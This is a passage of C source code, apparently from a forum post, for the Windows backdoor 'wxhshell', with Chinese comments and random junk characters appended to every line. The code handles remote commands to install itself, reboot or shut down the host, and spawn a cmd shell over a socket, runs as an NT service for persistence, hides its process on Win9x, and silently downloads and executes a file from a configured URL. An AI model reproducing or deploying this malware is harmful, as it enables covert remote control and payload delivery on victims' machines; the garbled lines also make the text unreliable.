  5?I]\Tb  
  // 帮助 Ic r'l$PE  
  case '?': { QR8F'7S  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); d5],O48A  
    break; h|-r t15  
  } $u"K1Q 3  
  // 安装 hB^"GYZ  
  case 'i': { f'.yM*  
    if(Install()) j<gnh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }3i@5ctQ  
    else i2!{.*.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :8 )4:4$^  
    break; K8RloDjk_A  
    } uV\=EDno  
  // 卸载 vu#:D1/BB  
  case 'r': { <w:fR|O  
    if(Uninstall()) C<7J5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ! TRiFD  
    else % -SP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~&q e"0  
    break; I7Eg$J&  
    } M1g|m|H7  
  // 显示 wxhshell 所在路径 '"KK|]vJ  
  case 'p': { U{_O=S u  
    char svExeFile[MAX_PATH]; >H%8~ Oek  
    strcpy(svExeFile,"\n\r"); #".{i+3E  
      strcat(svExeFile,ExeFile); aY?}4Bx  
        send(wsh,svExeFile,strlen(svExeFile),0); P$oa6`%l  
    break; 3NJH"amk  
    } yqYX<<!V  
  // 重启 RoiMvrJQP  
  case 'b': { =kCpCpET  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9\n}!{@i  
    if(Boot(REBOOT)) vLC&C-f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zzx4;C",u  
    else { [NFAdE  
    closesocket(wsh); ~/.&Z`ls  
    ExitThread(0); 0FW=8hFp,  
    } JBg>E3*N  
    break; [[|;Wr} 2  
    } =o-qu^T^u  
  // 关机 C1nQZtF R  
  case 'd': { ew0 )  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); U?rfE(!  
    if(Boot(SHUTDOWN)) 2Hd6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -^Lj~O  
    else { :kUH>O  
    closesocket(wsh); VEn%_9(]  
    ExitThread(0); q)vD "{0.  
    } IaJ(T>" +  
    break; un/R7 "  
    } ~cez+VQe  
  // 获取shell .Q#Eb %%  
  case 's': { Q2 edS|  
    CmdShell(wsh); -y AIrvO1q  
    closesocket(wsh); W"0#  
    ExitThread(0);  OkQSqL  
    break; *GDU=D}  
  } V]8fn MH  
  // 退出 {P3,jY^  
  case 'x': { h'}5 "m  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :G`_IB\  
    CloseIt(wsh); rm cy-}e  
    break; 1,mf]7k$  
    } o60wB-y  
  // 离开 [|>.iH X  
  case 'q': { msCAC*;,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); W=b5{ 6  
    closesocket(wsh);  {jl4`  
    WSACleanup(); ^aC[Z P:  
    exit(1); fvx0]of  
    break; V&>7i9lEz  
        } y^XwJX-f  
  } -cW5v  
  } ~9n@MPS^!  
hN}X11  
  // 提示信息 vrbS-Z<S9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wx1uduT)  
} emaNmpg  
  } F0yh7MItV  
6lhVwgy3A  
  return; "K@os<  
} z~W@`'f  
#8RQ7|7b|  
// shell模块句柄 Jk~T.p?tF  
int CmdShell(SOCKET sock) 8O7JuR  
{ '"TBhisky  
STARTUPINFO si; 99eS@}RC  
ZeroMemory(&si,sizeof(si)); s)L7o)56/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }Bb(wP^B.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; g7H;d  
PROCESS_INFORMATION ProcessInfo; #Q{6/{bM&J  
char cmdline[]="cmd"; w_-{$8|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <E ^:{J95  
  return 0; x?%vqg^r  
} tsk}]@W  
QL)UPf>Kp  
// 自身启动模式 '5Y8 rv<  
int StartFromService(void) -py.Y Z  
{ z#\Z|OKU  
typedef struct S38D cWIw  
{ lH6t  d  
  DWORD ExitStatus; 6 Ym[^U  
  DWORD PebBaseAddress; JvUKfsnu{  
  DWORD AffinityMask; &x;nP6mV  
  DWORD BasePriority; ,Bta)  
  ULONG UniqueProcessId; ZNUV Bi  
  ULONG InheritedFromUniqueProcessId; 0>'1|8+`(z  
}   PROCESS_BASIC_INFORMATION; YcGqT2oLP  
*=I#VN*_<.  
PROCNTQSIP NtQueryInformationProcess; ~/NA?E-c  
zso.?`85  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^qDkSoqC"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 55;xAsG  
}Orc;_)r  
  HANDLE             hProcess; IlE! zRA  
  PROCESS_BASIC_INFORMATION pbi; p7k0pSt  
Q`oi=O YB  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #e#8I7P  
  if(NULL == hInst ) return 0; ;6]+/e7O  
!~ZL  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); s<5t}{x  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); prwyP  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); C*KRu`t  
_Y0o\0B  
  if (!NtQueryInformationProcess) return 0; >Z3}WMgBN  
fLy s$*^)^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $0wl=S  
  if(!hProcess) return 0; KomF)KQ2r  
p#?1l/f"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,:#prT[P"  
K.cNx  
  CloseHandle(hProcess); <1@_MY o  
W<x2~HW(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); YZoudX'"  
if(hProcess==NULL) return 0; UA/3lH}  
D8h~?phK  
HMODULE hMod; r^@*Cir  
char procName[255]; 3*; {C|]S  
unsigned long cbNeeded; weu'<C   
jf})"fz-*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); s=6w-'; V  
}^QY<Cp|  
  CloseHandle(hProcess); W=|B3}C?  
J>+Dv?Ni$  
if(strstr(procName,"services")) return 1; // 以服务启动 RuHJk\T+  
a-YK*  
  return 0; // 注册表启动 p<![JeV  
} wRuJein#  
vI+PL(T@  
// 主模块 YY.;J3C  
int StartWxhshell(LPSTR lpCmdLine) 2=#O4k.@  
{ `R; ct4-  
  SOCKET wsl; {g);HnmPN  
BOOL val=TRUE; Ohjqdv@  
  int port=0; p?!] sO1l  
  struct sockaddr_in door; r3KV.##u,  
N7jAPI@a\i  
  if(wscfg.ws_autoins) Install(); SKYS6b  
GWhb@K  
port=atoi(lpCmdLine); S</" ^C51J  
F\XzP\  
if(port<=0) port=wscfg.ws_port; 7lh%\  
5%W3&F6 %  
  WSADATA data; P= ]ZXj[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; E-Mp|y/V  
ikY=}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   a|fyo#L  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;`xu)08a  
  door.sin_family = AF_INET; mp5]=6 ~:m  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); O 4}cv  
  door.sin_port = htons(port); Dm5UQe  
'[A>eC++  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !,1~:*:  
closesocket(wsl); iBc( @EJ  
return 1; q_W NN/w  
} 8..itty  
=g&0CFF<  
  if(listen(wsl,2) == INVALID_SOCKET) { i=SX_#b^  
closesocket(wsl); -nU_eDy  
return 1; 1r8]EaI  
} H%/$Rqg  
  Wxhshell(wsl); ^%_LA't'R  
  WSACleanup(); >`lf1x  
a1Gy I  
return 0; fygy#&}~  
- BocWq\  
} %i^%D  
htkyywv  
// 以NT服务方式启动 7u!p.kN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) t%=ylEPW  
{ *rqih_j0  
DWORD   status = 0; Maq{H`  
  DWORD   specificError = 0xfffffff; 4[5Z>2w  
!>! l=Z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Y[pGaiN:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #ocT4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; pM4 j=F  
  serviceStatus.dwWin32ExitCode     = 0; 2/h Mx-  
  serviceStatus.dwServiceSpecificExitCode = 0; "cti(0F-d  
  serviceStatus.dwCheckPoint       = 0; q!FJP9x  
  serviceStatus.dwWaitHint       = 0; N-5lILuJJ  
,;{mH]"s  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); zZA I"\;W  
  if (hServiceStatusHandle==0) return; I]} MK?  
]P 2M  
status = GetLastError(); yhTe*I=Gk  
  if (status!=NO_ERROR) $YW z~^f  
{ &18} u~M  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; PAqziq.  
    serviceStatus.dwCheckPoint       = 0; B]kz3FF  
    serviceStatus.dwWaitHint       = 0; 578Dl(I#)  
    serviceStatus.dwWin32ExitCode     = status; jIEK[vJ`  
    serviceStatus.dwServiceSpecificExitCode = specificError; aeg5ij-]u@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ; xs?^N|  
    return; |_2O:7qe  
  } M>'-P  
} #$Y^ +UN  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (D))?jnC  
  serviceStatus.dwCheckPoint       = 0; )+ S"`  
  serviceStatus.dwWaitHint       = 0; ,.E:mm  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); LtC kDnXk  
} :k JSu{p  
) I@gy  
// 处理NT服务事件,比如:启动、停止 ?SS?I  
VOID WINAPI NTServiceHandler(DWORD fdwControl) y/Nvts2!C  
{ Z|3l2ucl  
switch(fdwControl) bluC P|  
{ *X,vu2(I-=  
case SERVICE_CONTROL_STOP: fOrqY,P'  
  serviceStatus.dwWin32ExitCode = 0; dp+wwNe  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (z"Cwa@e  
  serviceStatus.dwCheckPoint   = 0; >yT:eG  
  serviceStatus.dwWaitHint     = 0; =WN6Fj`  
  { JP[BSmhAV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kkqrl JO|  
  } .*v8*8OJ&  
  return; Q%@l`V)Rs  
case SERVICE_CONTROL_PAUSE: 8 v&5)0u  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ncu> @K$n  
  break; Y5(`/  
case SERVICE_CONTROL_CONTINUE: \alRBHqE  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "IB)=Hc  
  break; jp2l}C  
case SERVICE_CONTROL_INTERROGATE:   }/M ~  
  break; C[wnor!  
}; iT I W;Cv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V_0e/7}Ya  
} II),m8G  
=#uXO<   
// 标准应用程序主函数 "j~=YW+l  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Oq|pd7fcgm  
{ cITQ,ah  
CK.Z-_M  
// 获取操作系统版本 K\o!  
OsIsNt=GetOsVer(); hcM 0?=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); oz@yF)/Sm  
lOYwYMi  
  // 从命令行安装 dpTap<Noby  
  if(strpbrk(lpCmdLine,"iI")) Install(); I'J=I{p*  
9;q@;)'5  
  // 下载执行文件 u\>Ed9^  
if(wscfg.ws_downexe) { w Gw}a[a  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) F4d L{0;j  
  WinExec(wscfg.ws_filenam,SW_HIDE); oXfLNe6>L  
} MYjDO>(_  
|L0s  
if(!OsIsNt) { $JcU0tPq0  
// 如果时win9x,隐藏进程并且设置为注册表启动 {Uu7@1@n  
HideProc(); tpA7"JD  
StartWxhshell(lpCmdLine); d4gl V`%.  
} Jw9|I)H  
else 1jQz%^~  
  if(StartFromService()) X%39cXM C  
  // 以服务方式启动 Hn:%(Rg=aW  
  StartServiceCtrlDispatcher(DispatchTable); ]xV7)/b5G  
else ,7tN&R_  
  // 普通方式启动 |1;0q<Ka  
  StartWxhshell(lpCmdLine); e,8C} 2  
Le#bitp  
return 0; j2tw`*S+  
}
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只看该作者 1 发表于: 2006-10-10
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